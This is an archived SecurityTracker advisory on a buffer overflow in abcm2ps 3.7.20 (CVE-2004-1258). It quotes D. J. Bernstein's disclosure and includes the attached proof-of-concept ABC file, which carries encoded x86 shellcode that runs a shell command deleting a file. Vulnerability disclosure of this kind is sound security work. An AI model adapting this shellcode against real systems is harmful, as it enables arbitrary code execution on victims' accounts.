SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   abcm2ps Vendors:   Kohn, Michael
abcm2ps Buffer Overflow in put_words() Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1012574
SecurityTracker URL:  http://securitytracker.com/id/1012574
CVE Reference:   CVE-2004-1258   (Links to External Site)
Updated:  Dec 23 2004
Original Entry Date:  Dec 16 2004
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 3.7.20
Description:   A vulnerability was reported in abcm2ps. A remote user can cause arbitrary code to be executed by the target user.

D. J. Bernstein reported that a remote user can create a specially crafted ABC file that, when processed by the target user with abcm2ps, will execute arbitrary code on the target user's system. The code will run with the privileges of the target user.

The buffer overflow resides in the put_words() function in 'subs.c'.

Limin Wang is credited with discovering this flaw.

Impact:   A remote user can cause arbitrary code to be executed by the target user with the privileges of the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  moinejf.free.fr/ (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   This archive entry has one or more follow-up message(s) listed below.
Dec 19 2004 (Gentoo Issues Fix) abcm2ps Buffer Overflow in put_words() Lets Remote Users Execute Arbitrary Code
Gentoo has released a fix.



 Source Message Contents

Subject:  [remote] [control] abcm2ps 3.7.20 put_words overflows str buffer



--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Limin Wang, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in abcm2ps. I'm
publishing this notice, but all the discovery credits should be assigned
to Wang.

You are at risk if you take an ABC file from an email message (or a web
page or any other source that could be controlled by an attacker) and
feed that document through abcm2ps. Whoever provides the ABC file then
has complete control over your account: she can read and modify your
files, watch the programs you're running, etc.

The abcm2ps documentation does not tell users to avoid taking input from
the network. Many web pages offer ABC files for public consumption.

Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type

   cd /usr/ports/print/abcm2ps
   make install

to download and compile the abcm2ps program, version 3.7.20 (current).
Then, as any user, save the file 35.abc attached to this message, and
type

   abcm2ps 35.abc > 35.ps

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 470-byte environment, as
reported by printenv | wc -c; beware that 35.abc is sensitive to the
environment size.)

Here's the bug: In subs.c, put_words() copies any amount of data into
an 81-byte str[] array. Wang also comments that t->text is not
0-terminated.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=unknown-8bit
Content-Disposition: attachment; filename="35.abc"
Content-Transfer-Encoding: quoted-printable

Sample file to test various features of abc2ps

U: M =3D !tenuto!             abcm2ps: default M is lowermordent
X: 13
W: 12AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAA=F8=FA=BF=BF=F8=FA=BF=BF=F8=FA=BF=BFAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAA=EBgY=89=CA=83=C2=18=89=111=C0=89A=04=83=C2=13=89Q=08=83=
=C2=08=89Q=0C=83=C2=03=89Q=10=89A=14=83=C01=83=C0	=88A!1=C0=88A*=88A2=88A5=
=83=C0=10=83=C0=10=88A81=C0I=88A;A=83=C0=10=83=C0=1E=88A<1=C0Q=83=C1=08Q=83=
=C1#Q=83=C0;P=CD=801=C0P@P=CD=80=E8=94=FF=FF=FFabcdefghijklmnopqrstuvwxPATH=
=3D/bin!/usr/bin!/bin/sh!-c!rm!x!M: C|
K: F
L: 1/4
BA |: "Gm"G2AB|"C7"cd2e|"F"f2fe|"Dm"dA2d|
w: Close your eyes and I'll kiss you, to-mor-row I'll miss you; re-
"Bb"d2dc|"Gm"B2GF|"Eb"G4-|G2 z2|
w:mem-ber I'll al-ways be true._

--GvXjxJ+pjyke8COw--

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC